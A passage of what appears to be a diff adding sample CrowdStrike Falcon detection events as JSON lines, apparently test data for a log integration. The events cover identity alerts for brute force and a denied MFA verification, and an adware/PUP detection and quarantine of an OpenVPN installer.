Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"}
+{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"}
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
+{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","trigg